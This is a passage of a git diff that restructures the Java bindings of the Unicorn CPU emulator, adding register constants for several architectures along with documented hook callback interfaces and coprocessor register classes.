UC_ARM64_REG_V31 = 259; + + // pseudo registers + public static final int UC_ARM64_REG_PC = 260; + public static final int UC_ARM64_REG_CPACR_EL1 = 261; + + // thread registers, depreciated, use UC_ARM64_REG_CP_REG instead + public static final int UC_ARM64_REG_TPIDR_EL0 = 262; + public static final int UC_ARM64_REG_TPIDRRO_EL0 = 263; + public static final int UC_ARM64_REG_TPIDR_EL1 = 264; + public static final int UC_ARM64_REG_PSTATE = 265; + + // exception link registers, depreciated, use UC_ARM64_REG_CP_REG instead + public static final int UC_ARM64_REG_ELR_EL0 = 266; + public static final int UC_ARM64_REG_ELR_EL1 = 267; + public static final int UC_ARM64_REG_ELR_EL2 = 268; + public static final int UC_ARM64_REG_ELR_EL3 = 269; + + // stack pointers registers, depreciated, use UC_ARM64_REG_CP_REG instead + public static final int UC_ARM64_REG_SP_EL0 = 270; + public static final int UC_ARM64_REG_SP_EL1 = 271; + public static final int UC_ARM64_REG_SP_EL2 = 272; + public static final int UC_ARM64_REG_SP_EL3 = 273; + + // other CP15 registers, depreciated, use UC_ARM64_REG_CP_REG instead + public static final int UC_ARM64_REG_TTBR0_EL1 = 274; + public static final int UC_ARM64_REG_TTBR1_EL1 = 275; + public static final int UC_ARM64_REG_ESR_EL0 = 276; + public static final int UC_ARM64_REG_ESR_EL1 = 277; + public static final int UC_ARM64_REG_ESR_EL2 = 278; + public static final int UC_ARM64_REG_ESR_EL3 = 279; + public static final int UC_ARM64_REG_FAR_EL0 = 280; + public static final int UC_ARM64_REG_FAR_EL1 = 281; + public static final int UC_ARM64_REG_FAR_EL2 = 282; + public static final int UC_ARM64_REG_FAR_EL3 = 283; + public static final int UC_ARM64_REG_PAR_EL1 = 284; + public static final int UC_ARM64_REG_MAIR_EL1 = 285; + public static final int UC_ARM64_REG_VBAR_EL0 = 286; + public static final int UC_ARM64_REG_VBAR_EL1 = 287; + public static final int UC_ARM64_REG_VBAR_EL2 = 288; + public static final int UC_ARM64_REG_VBAR_EL3 = 289; + public static final int UC_ARM64_REG_CP_REG = 290; + + // floating point control and status registers + public static final int UC_ARM64_REG_FPCR = 291; + public static final int UC_ARM64_REG_FPSR = 292; + public static final int UC_ARM64_REG_ENDING = 293; + + // alias registers + public static final int UC_ARM64_REG_IP0 = 215; + public static final int UC_ARM64_REG_IP1 = 216; + public static final int UC_ARM64_REG_FP = 1; + public static final int UC_ARM64_REG_LR = 2; + + // ARM64 instructions + + public static final int UC_ARM64_INS_INVALID = 0; + public static final int UC_ARM64_INS_MRS = 1; + public static final int UC_ARM64_INS_MSR = 2; + public static final int UC_ARM64_INS_SYS = 3; + public static final int UC_ARM64_INS_SYSL = 4; + public static final int UC_ARM64_INS_ENDING = 5; + +} diff --git a/bindings/java/src/main/java/unicorn/Arm64SysHook.java b/bindings/java/src/main/java/unicorn/Arm64SysHook.java new file mode 100644 index 0000000000..067fd6e3ed --- /dev/null +++ b/bindings/java/src/main/java/unicorn/Arm64SysHook.java @@ -0,0 +1,40 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2023 Robert Xiao + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +package unicorn; + +/** Callback for {@code UC_HOOK_INSN} with {@code UC_ARM64_INS_MRS}, + * {@code UC_ARM64_INS_MSR}, {@code UC_ARM64_INS_SYS} + * or {@code UC_ARM64_INS_SYSL} */ +public interface Arm64SysHook extends InstructionHook { + /** Called to handle an AArch64 MRS, MSR, SYS or SYSL instruction. + * + * @param u {@link Unicorn} instance firing this hook + * @param reg source or destination register + * ({@code UC_ARM64_REG_X*} constant) + * @param cp_reg coprocessor register specification + * ({@code .val} = current value of {@code reg}) + * @param user user data provided when registering this hook + * @return 1 to skip the instruction (marking it as handled), + * 0 to let QEMU handle it + */ + public int hook(Unicorn u, int reg, Arm64_CP cp_reg, Object user); +} diff --git a/bindings/java/src/main/java/unicorn/Arm64_CP.java b/bindings/java/src/main/java/unicorn/Arm64_CP.java new file mode 100644 index 0000000000..7b0b0e23a4 --- /dev/null +++ b/bindings/java/src/main/java/unicorn/Arm64_CP.java @@ -0,0 +1,47 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2023 Robert Xiao + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +package unicorn; + +/** ARM64 coprocessor registers for instructions MRS, MSR, SYS, SYSL */ +public class Arm64_CP { + public int crn, crm, op0, op1, op2; + public long val; + + public Arm64_CP(int crn, int crm, int op0, int op1, int op2) { + this(crn, crm, op0, op1, op2, 0); + } + + public Arm64_CP(int crn, int crm, int op0, int op1, int op2, long val) { + this.crn = crn; + this.crm = crm; + this.op0 = op0; + this.op1 = op1; + this.op2 = op2; + this.val = val; + } + + @Override + public String toString() { + return "Arm64_CP [crn=" + crn + ", crm=" + crm + ", op0=" + op0 + + ", op1=" + op1 + ", op2=" + op2 + ", val=" + val + "]"; + } +} diff --git a/bindings/java/src/main/java/unicorn/ArmConst.java b/bindings/java/src/main/java/unicorn/ArmConst.java new file mode 100644 index 0000000000..300a8fda56 --- /dev/null +++ b/bindings/java/src/main/java/unicorn/ArmConst.java @@ -0,0 +1,198 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +package unicorn; + +public interface ArmConst { + + // ARM CPU + + public static final int UC_CPU_ARM_926 = 0; + public static final int UC_CPU_ARM_946 = 1; + public static final int UC_CPU_ARM_1026 = 2; + public static final int UC_CPU_ARM_1136_R2 = 3; + public static final int UC_CPU_ARM_1136 = 4; + public static final int UC_CPU_ARM_1176 = 5; + public static final int UC_CPU_ARM_11MPCORE = 6; + public static final int UC_CPU_ARM_CORTEX_M0 = 7; + public static final int UC_CPU_ARM_CORTEX_M3 = 8; + public static final int UC_CPU_ARM_CORTEX_M4 = 9; + public static final int UC_CPU_ARM_CORTEX_M7 = 10; + public static final int UC_CPU_ARM_CORTEX_M33 = 11; + public static final int UC_CPU_ARM_CORTEX_R5 = 12; + public static final int UC_CPU_ARM_CORTEX_R5F = 13; + public static final int UC_CPU_ARM_CORTEX_A7 = 14; + public static final int UC_CPU_ARM_CORTEX_A8 = 15; + public static final int UC_CPU_ARM_CORTEX_A9 = 16; + public static final int UC_CPU_ARM_CORTEX_A15 = 17; + public static final int UC_CPU_ARM_TI925T = 18; + public static final int UC_CPU_ARM_SA1100 = 19; + public static final int UC_CPU_ARM_SA1110 = 20; + public static final int UC_CPU_ARM_PXA250 = 21; + public static final int UC_CPU_ARM_PXA255 = 22; + public static final int UC_CPU_ARM_PXA260 = 23; + public static final int UC_CPU_ARM_PXA261 = 24; + public static final int UC_CPU_ARM_PXA262 = 25; + public static final int UC_CPU_ARM_PXA270 = 26; + public static final int UC_CPU_ARM_PXA270A0 = 27; + public static final int UC_CPU_ARM_PXA270A1 = 28; + public static final int UC_CPU_ARM_PXA270B0 = 29; + public static final int UC_CPU_ARM_PXA270B1 = 30; + public static final int UC_CPU_ARM_PXA270C0 = 31; + public static final int UC_CPU_ARM_PXA270C5 = 32; + public static final int UC_CPU_ARM_MAX = 33; + public static final int UC_CPU_ARM_ENDING = 34; + + // ARM registers + + public static final int UC_ARM_REG_INVALID = 0; + public static final int UC_ARM_REG_APSR = 1; + public static final int UC_ARM_REG_APSR_NZCV = 2; + public static final int UC_ARM_REG_CPSR = 3; + public static final int UC_ARM_REG_FPEXC = 4; + public static final int UC_ARM_REG_FPINST = 5; + public static final int UC_ARM_REG_FPSCR = 6; + public static final int UC_ARM_REG_FPSCR_NZCV = 7; + public static final int UC_ARM_REG_FPSID = 8; + public static final int UC_ARM_REG_ITSTATE = 9; + public static final int UC_ARM_REG_LR = 10; + public static final int UC_ARM_REG_PC = 11; + public static final int UC_ARM_REG_SP = 12; + public static final int UC_ARM_REG_SPSR = 13; + public static final int UC_ARM_REG_D0 = 14; + public static final int UC_ARM_REG_D1 = 15; + public static final int UC_ARM_REG_D2 = 16; + public static final int UC_ARM_REG_D3 = 17; + public static final int UC_ARM_REG_D4 = 18; + public static final int UC_ARM_REG_D5 = 19; + public static final int UC_ARM_REG_D6 = 20; + public static final int UC_ARM_REG_D7 = 21; + public static final int UC_ARM_REG_D8 = 22; + public static final int UC_ARM_REG_D9 = 23; + public static final int UC_ARM_REG_D10 = 24; + public static final int UC_ARM_REG_D11 = 25; + public static final int UC_ARM_REG_D12 = 26; + public static final int UC_ARM_REG_D13 = 27; + public static final int UC_ARM_REG_D14 = 28; + public static final int UC_ARM_REG_D15 = 29; + public static final int UC_ARM_REG_D16 = 30; + public static final int UC_ARM_REG_D17 = 31; + public static final int UC_ARM_REG_D18 = 32; + public static final int UC_ARM_REG_D19 = 33; + public static final int UC_ARM_REG_D20 = 34; + public static final int UC_ARM_REG_D21 = 35; + public static final int UC_ARM_REG_D22 = 36; + public static final int UC_ARM_REG_D23 = 37; + public static final int UC_ARM_REG_D24 = 38; + public static final int UC_ARM_REG_D25 = 39; + public static final int UC_ARM_REG_D26 = 40; + public static final int UC_ARM_REG_D27 = 41; + public static final int UC_ARM_REG_D28 = 42; + public static final int UC_ARM_REG_D29 = 43; + public static final int UC_ARM_REG_D30 = 44; + public static final int UC_ARM_REG_D31 = 45; + public static final int UC_ARM_REG_FPINST2 = 46; + public static final int UC_ARM_REG_MVFR0 = 47; + public static final int UC_ARM_REG_MVFR1 = 48; + public static final int UC_ARM_REG_MVFR2 = 49; + public static final int UC_ARM_REG_Q0 = 50; + public static final int UC_ARM_REG_Q1 = 51; + public static final int UC_ARM_REG_Q2 = 52; + public static final int UC_ARM_REG_Q3 = 53; + public static final int UC_ARM_REG_Q4 = 54; + public static final int UC_ARM_REG_Q5 = 55; + public static final int UC_ARM_REG_Q6 = 56; + public static final int UC_ARM_REG_Q7 = 57; + public static final int UC_ARM_REG_Q8 = 58; + public static final int UC_ARM_REG_Q9 = 59; + public static final int UC_ARM_REG_Q10 = 60; + public static final int UC_ARM_REG_Q11 = 61; + public static final int UC_ARM_REG_Q12 = 62; + public static final int UC_ARM_REG_Q13 = 63; + public static final int UC_ARM_REG_Q14 = 64; + public static final int UC_ARM_REG_Q15 = 65; + public static final int UC_ARM_REG_R0 = 66; + public static final int UC_ARM_REG_R1 = 67; + public static final int UC_ARM_REG_R2 = 68; + public static final int UC_ARM_REG_R3 = 69; + public static final int UC_ARM_REG_R4 = 70; + public static final int UC_ARM_REG_R5 = 71; + public static final int UC_ARM_REG_R6 = 72; + public static final int UC_ARM_REG_R7 = 73; + public static final int UC_ARM_REG_R8 = 74; + public static final int UC_ARM_REG_R9 = 75; + public static final int UC_ARM_REG_R10 = 76; + public static final int UC_ARM_REG_R11 = 77; + public static final int UC_ARM_REG_R12 = 78; + public static final int UC_ARM_REG_S0 = 79; + public static final int UC_ARM_REG_S1 = 80; + public static final int UC_ARM_REG_S2 = 81; + public static final int UC_ARM_REG_S3 = 82; + public static final int UC_ARM_REG_S4 = 83; + public static final int UC_ARM_REG_S5 = 84; + public static final int UC_ARM_REG_S6 = 85; + public static final int UC_ARM_REG_S7 = 86; + public static final int UC_ARM_REG_S8 = 87; + public static final int UC_ARM_REG_S9 = 88; + public static final int UC_ARM_REG_S10 = 89; + public static final int UC_ARM_REG_S11 = 90; + public static final int UC_ARM_REG_S12 = 91; + public static final int UC_ARM_REG_S13 = 92; + public static final int UC_ARM_REG_S14 = 93; + public static final int UC_ARM_REG_S15 = 94; + public static final int UC_ARM_REG_S16 = 95; + public static final int UC_ARM_REG_S17 = 96; + public static final int UC_ARM_REG_S18 = 97; + public static final int UC_ARM_REG_S19 = 98; + public static final int UC_ARM_REG_S20 = 99; + public static final int UC_ARM_REG_S21 = 100; + public static final int UC_ARM_REG_S22 = 101; + public static final int UC_ARM_REG_S23 = 102; + public static final int UC_ARM_REG_S24 = 103; + public static final int UC_ARM_REG_S25 = 104; + public static final int UC_ARM_REG_S26 = 105; + public static final int UC_ARM_REG_S27 = 106; + public static final int UC_ARM_REG_S28 = 107; + public static final int UC_ARM_REG_S29 = 108; + public static final int UC_ARM_REG_S30 = 109; + public static final int UC_ARM_REG_S31 = 110; + public static final int UC_ARM_REG_C1_C0_2 = 111; + public static final int UC_ARM_REG_C13_C0_2 = 112; + public static final int UC_ARM_REG_C13_C0_3 = 113; + public static final int UC_ARM_REG_IPSR = 114; + public static final int UC_ARM_REG_MSP = 115; + public static final int UC_ARM_REG_PSP = 116; + public static final int UC_ARM_REG_CONTROL = 117; + public static final int UC_ARM_REG_IAPSR = 118; + public static final int UC_ARM_REG_EAPSR = 119; + public static final int UC_ARM_REG_XPSR = 120; + public static final int UC_ARM_REG_EPSR = 121; + public static final int UC_ARM_REG_IEPSR = 122; + public static final int UC_ARM_REG_PRIMASK = 123; + public static final int UC_ARM_REG_BASEPRI = 124; + public static final int UC_ARM_REG_BASEPRI_MAX = 125; + public static final int UC_ARM_REG_FAULTMASK = 126; + public static final int UC_ARM_REG_APSR_NZCVQ = 127; + public static final int UC_ARM_REG_APSR_G = 128; + public static final int UC_ARM_REG_APSR_NZCVQG = 129; + public static final int UC_ARM_REG_IAPSR_NZCVQ = 130; + public static final int UC_ARM_REG_IAPSR_G = 131; + public static final int UC_ARM_REG_IAPSR_NZCVQG = 132; + public static final int UC_ARM_REG_EAPSR_NZCVQ = 133; + public static final int UC_ARM_REG_EAPSR_G = 134; + public static final int UC_ARM_REG_EAPSR_NZCVQG = 135; + public static final int UC_ARM_REG_XPSR_NZCVQ = 136; + public static final int UC_ARM_REG_XPSR_G = 137; + public static final int UC_ARM_REG_XPSR_NZCVQG = 138; + public static final int UC_ARM_REG_CP_REG = 139; + public static final int UC_ARM_REG_ENDING = 140; + + // alias registers + public static final int UC_ARM_REG_R13 = 12; + public static final int UC_ARM_REG_R14 = 10; + public static final int UC_ARM_REG_R15 = 11; + public static final int UC_ARM_REG_SB = 75; + public static final int UC_ARM_REG_SL = 76; + public static final int UC_ARM_REG_FP = 77; + public static final int UC_ARM_REG_IP = 78; + +} diff --git a/bindings/java/src/main/java/unicorn/Arm_CP.java b/bindings/java/src/main/java/unicorn/Arm_CP.java new file mode 100644 index 0000000000..fe3f6c5bc8 --- /dev/null +++ b/bindings/java/src/main/java/unicorn/Arm_CP.java @@ -0,0 +1,31 @@ +package unicorn; + +/** ARM coprocessor register for MRC, MCR, MRRC, MCRR */ +public class Arm_CP { + public int cp, is64, sec, crn, crm, opc1, opc2; + public long val; + + public Arm_CP(int cp, int is64, int sec, int crn, int crm, int opc1, + int opc2) { + this(cp, is64, sec, crn, crm, opc1, opc2, 0); + } + + public Arm_CP(int cp, int is64, int sec, int crn, int crm, int opc1, + int opc2, long val) { + this.cp = cp; + this.is64 = is64; + this.sec = sec; + this.crn = crn; + this.crm = crm; + this.opc1 = opc1; + this.opc2 = opc2; + this.val = val; + } + + @Override + public String toString() { + return "Arm_CP [cp=" + cp + ", is64=" + is64 + ", sec=" + sec + + ", crn=" + crn + ", crm=" + crm + ", opc1=" + opc1 + ", opc2=" + + opc2 + ", val=" + val + "]"; + } +} diff --git a/bindings/java/unicorn/BlockHook.java b/bindings/java/src/main/java/unicorn/BlockHook.java similarity index 63% rename from bindings/java/unicorn/BlockHook.java rename to bindings/java/src/main/java/unicorn/BlockHook.java index cae5ef9ffb..c60b3334e4 100644 --- a/bindings/java/unicorn/BlockHook.java +++ b/bindings/java/src/main/java/unicorn/BlockHook.java @@ -21,9 +21,14 @@ package unicorn; +/** Callback for {@code UC_HOOK_BLOCK} */ public interface BlockHook extends Hook { - - public void hook(Unicorn u, long address, int size, Object user); - + /** Called on each basic block within the hooked range. + * + * @param u {@link Unicorn} instance firing this hook + * @param address address of the first instruction in the block + * @param size size of the block, in bytes + * @param user user data provided when registering this hook + */ + public void hook(Unicorn u, long address, int size, Object user); } - diff --git a/bindings/java/unicorn/CodeHook.java b/bindings/java/src/main/java/unicorn/CodeHook.java similarity index 64% rename from bindings/java/unicorn/CodeHook.java rename to bindings/java/src/main/java/unicorn/CodeHook.java index 6cbfdd4bbc..c7bc83bc5a 100644 --- a/bindings/java/unicorn/CodeHook.java +++ b/bindings/java/src/main/java/unicorn/CodeHook.java @@ -21,9 +21,14 @@ package unicorn; +/** Callback for {@code UC_HOOK_CODE} */ public interface CodeHook extends Hook { - - public void hook(Unicorn u, long address, int size, Object user); - + /** Called on each instruction within the hooked range. + * + * @param u {@link Unicorn} instance firing this hook + * @param address address of the instruction + * @param size size of the instruction, in bytes + * @param user user data provided when registering this hook + */ + public void hook(Unicorn u, long address, int size, Object user); } - diff --git a/bindings/java/src/main/java/unicorn/CpuidHook.java b/bindings/java/src/main/java/unicorn/CpuidHook.java new file mode 100644 index 0000000000..6ddcab4027 --- /dev/null +++ b/bindings/java/src/main/java/unicorn/CpuidHook.java @@ -0,0 +1,34 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2023 Robert Xiao + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +package unicorn; + +/** Callback for {@code UC_HOOK_INSN} with {@code UC_X86_INS_CPUID} */ +public interface CpuidHook extends InstructionHook { + /** Called to handle an x86 CPUID instruction. + * + * @param u {@link Unicorn} instance firing this hook + * @param user user data provided when registering this hook + * @return 1 to skip the instruction (marking it as handled), + * 0 to let QEMU handle it + */ + public int hook(Unicorn u, Object user); +} diff --git a/bindings/java/src/main/java/unicorn/EdgeGeneratedHook.java b/bindings/java/src/main/java/unicorn/EdgeGeneratedHook.java new file mode 100644 index 0000000000..9e2c5b3e3c --- /dev/null +++ b/bindings/java/src/main/java/unicorn/EdgeGeneratedHook.java @@ -0,0 +1,35 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2023 Robert Xiao + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +package unicorn; + +/** Callback for {@code UC_HOOK_EDGE_GENERATED} */ +public interface EdgeGeneratedHook extends Hook { + /** Called whenever a jump is made to a new (untranslated) basic block. + * + * @param u {@link Unicorn} instance firing this hook + * @param cur_tb newly translated block being entered + * @param prev_tb previous block being exited + * @param user user data provided when registering this hook + */ + public void hook(Unicorn u, TranslationBlock cur_tb, + TranslationBlock prev_tb, Object user); +} diff --git a/bindings/java/src/main/java/unicorn/EventMemHook.java b/bindings/java/src/main/java/unicorn/EventMemHook.java new file mode 100644 index 0000000000..bd11006376 --- /dev/null +++ b/bindings/java/src/main/java/unicorn/EventMemHook.java @@ -0,0 +1,44 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +package unicorn; + +/** Callback for {@code UC_HOOK_MEM_INVALID} + * (UC_HOOK_MEM_{READ,WRITE,FETCH}_{UNMAPPED,PROT}) */ +public interface EventMemHook extends Hook { + /** Called when an invalid memory access occurs within the registered + * range. + * + * @param u {@link Unicorn} instance firing this hook + * @param type type of the memory access and violation: one of + * UC_MEM_{READ,WRITE,FETCH}_{UNMAPPED,PROT} + * @param address address of the memory access + * @param size size of the memory access + * @param value value written ({@code UC_MEM_WRITE_*} only) + * @param user user data provided when registering this hook + * @return {@code true} to mark the exception as handled, which + * will retry the memory access. If no hooks return + * {@code true}, the memory access will fail and a CPU + * exception will be raised. + */ + public boolean hook(Unicorn u, int type, long address, int size, long value, + Object user); +} diff --git a/bindings/java/unicorn/Hook.java b/bindings/java/src/main/java/unicorn/Hook.java similarity index 92% rename from bindings/java/unicorn/Hook.java rename to bindings/java/src/main/java/unicorn/Hook.java index 003599a3a2..57168a56eb 100644 --- a/bindings/java/unicorn/Hook.java +++ b/bindings/java/src/main/java/unicorn/Hook.java @@ -21,9 +21,7 @@ package unicorn; -/** - * Base class for all unicorn hooking interfaces - */ - +/** Base interface for all Unicorn hooks */ public interface Hook { + } diff --git a/bindings/java/src/main/java/unicorn/InHook.java b/bindings/java/src/main/java/unicorn/InHook.java new file mode 100644 index 0000000000..cea078869c --- /dev/null +++ b/bindings/java/src/main/java/unicorn/InHook.java @@ -0,0 +1,35 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +package unicorn; + +/** Callback for {@code UC_HOOK_INSN} with {@code UC_X86_INS_IN} */ +public interface InHook extends InstructionHook { + /** Called to handle an x86 IN instruction. + * + * @param u {@link Unicorn} instance firing this hook + * @param port I/O port number + * @param size size of the request (1, 2, or 4 bytes) + * @param user user data provided when registering this hook + * @return value of the I/O request + */ + public int hook(Unicorn u, int port, int size, Object user); +} diff --git a/bindings/java/unicorn/MemHook.java b/bindings/java/src/main/java/unicorn/InstructionHook.java similarity index 87% rename from bindings/java/unicorn/MemHook.java rename to bindings/java/src/main/java/unicorn/InstructionHook.java index 9f1a188917..5d5400700e 100644 --- a/bindings/java/unicorn/MemHook.java +++ b/bindings/java/src/main/java/unicorn/InstructionHook.java @@ -21,7 +21,7 @@ package unicorn; -public interface MemHook extends ReadHook,WriteHook { +/** Base interface for {@code UC_HOOK_INSN} hooks */ +public interface InstructionHook extends Hook { } - diff --git a/bindings/java/unicorn/InterruptHook.java b/bindings/java/src/main/java/unicorn/InterruptHook.java similarity index 69% rename from bindings/java/unicorn/InterruptHook.java rename to bindings/java/src/main/java/unicorn/InterruptHook.java index 23bc29f86f..ae6701603c 100644 --- a/bindings/java/unicorn/InterruptHook.java +++ b/bindings/java/src/main/java/unicorn/InterruptHook.java @@ -21,9 +21,13 @@ package unicorn; +/** Callback for {@code UC_HOOK_INTR} */ public interface InterruptHook extends Hook { - - public void hook(Unicorn u, int intno, Object user); - + /** Called when a CPU interrupt occurs. + * + * @param u {@link Unicorn} instance firing this hook + * @param intno CPU-specific interrupt number + * @param user user data provided when registering this hook + */ + public void hook(Unicorn u, int intno, Object user); } - diff --git a/bindings/java/src/main/java/unicorn/InvalidInstructionHook.java b/bindings/java/src/main/java/unicorn/InvalidInstructionHook.java new file mode 100644 index 0000000000..8d54abce21 --- /dev/null +++ b/bindings/java/src/main/java/unicorn/InvalidInstructionHook.java @@ -0,0 +1,36 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2023 Robert Xiao + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +package unicorn; + +/** Callback for {@code UC_HOOK_INSN_INVALID} */ +public interface InvalidInstructionHook extends Hook { + /** Called when an invalid instruction is encountered. + * + * @param u {@link Unicorn} instance firing this hook + * @param user user data provided when registering this hook + * @return {@code true} to mark the exception as handled. Emulation + * will stop without raising an invalid instruction exception. + * If no hooks return {@code true}, emulation will stop with + * an invalid instruction exception. + */ + public boolean hook(Unicorn u, Object user); +} diff --git a/bindings/java/src/main/java/unicorn/M68kConst.java b/bindings/java/src/main/java/unicorn/M68kConst.java new file mode 100644 index 0000000000..ea2500a307 --- /dev/null +++ b/bindings/java/src/main/java/unicorn/M68kConst.java @@ -0,0 +1,43 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +package unicorn; + +public interface M68kConst { + + // M68K CPU + + public static final int UC_CPU_M68K_M5206 = 0; + public static final int UC_CPU_M68K_M68000 = 1; + public static final int UC_CPU_M68K_M68020 = 2; + public static final int UC_CPU_M68K_M68030 = 3; + public static final int UC_CPU_M68K_M68040 = 4; + public static final int UC_CPU_M68K_M68060 = 5; + public static final int UC_CPU_M68K_M5208 = 6; + public static final int UC_CPU_M68K_CFV4E = 7; + public static final int UC_CPU_M68K_ANY = 8; + public static final int UC_CPU_M68K_ENDING = 9; + + // M68K registers + + public static final int UC_M68K_REG_INVALID = 0; + public static final int UC_M68K_REG_A0 = 1; + public static final int UC_M68K_REG_A1 = 2; + public static final int UC_M68K_REG_A2 = 3; + public static final int UC_M68K_REG_A3 = 4; + public static final int UC_M68K_REG_A4 = 5; + public static final int UC_M68K_REG_A5 = 6; + public static final int UC_M68K_REG_A6 = 7; + public static final int UC_M68K_REG_A7 = 8; + public static final int UC_M68K_REG_D0 = 9; + public static final int UC_M68K_REG_D1 = 10; + public static final int UC_M68K_REG_D2 = 11; + public static final int UC_M68K_REG_D3 = 12; + public static final int UC_M68K_REG_D4 = 13; + public static final int UC_M68K_REG_D5 = 14; + public static final int UC_M68K_REG_D6 = 15; + public static final int UC_M68K_REG_D7 = 16; + public static final int UC_M68K_REG_SR = 17; + public static final int UC_M68K_REG_PC = 18; + public static final int UC_M68K_REG_ENDING = 19; + +} diff --git a/bindings/java/src/main/java/unicorn/MemHook.java b/bindings/java/src/main/java/unicorn/MemHook.java new file mode 100644 index 0000000000..4de5ea7738 --- /dev/null +++ b/bindings/java/src/main/java/unicorn/MemHook.java @@ -0,0 +1,42 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +package unicorn; + +/** Callback for {@code UC_HOOK_MEM_VALID} + * (UC_HOOK_MEM_{READ,WRITE,FETCH} and/or + * {@code UC_HOOK_MEM_READ_AFTER}) */ +public interface MemHook extends Hook { + /** Called when a valid memory access occurs within the registered range. + * + * @param u {@link Unicorn} instance firing this hook + * @param type type of the memory access: one of {@code UC_MEM_READ}, + * {@code UC_MEM_WRITE} or {@code UC_MEM_READ_AFTER}. + * @param address address of the memory access + * @param size size of the memory access + * @param value value read ({@code UC_MEM_READ_AFTER} only) or written + * ({@code UC_MEM_WRITE} only). Not meaningful for + * {@code UC_MEM_READ} events. + * @param user user data provided when registering this hook + */ + public void hook(Unicorn u, int type, long address, int size, long value, + Object user); +} diff --git a/bindings/java/unicorn/MemRegion.java b/bindings/java/src/main/java/unicorn/MemRegion.java similarity index 67% rename from bindings/java/unicorn/MemRegion.java rename to bindings/java/src/main/java/unicorn/MemRegion.java index b729b3a998..033651f992 100644 --- a/bindings/java/unicorn/MemRegion.java +++ b/bindings/java/src/main/java/unicorn/MemRegion.java @@ -22,16 +22,19 @@ package unicorn; public class MemRegion { - - public long begin; - public long end; - public int perms; - - public MemRegion(long begin, long end, int perms) { - this.begin = begin; - this.end = end; - this.perms = perms; - } - + public long begin; + public long end; + public int perms; + + public MemRegion(long begin, long end, int perms) { + this.begin = begin; + this.end = end; + this.perms = perms; + } + + @Override + public String toString() { + return String.format("MemRegion [begin=0x%x, end=0x%x, perms=%d]", + begin, end, perms); + } } - diff --git a/bindings/java/src/main/java/unicorn/MipsConst.java b/bindings/java/src/main/java/unicorn/MipsConst.java new file mode 100644 index 0000000000..1cd6eb49a2 --- /dev/null +++ b/bindings/java/src/main/java/unicorn/MipsConst.java @@ -0,0 +1,241 @@ +// For Unicorn Engine. 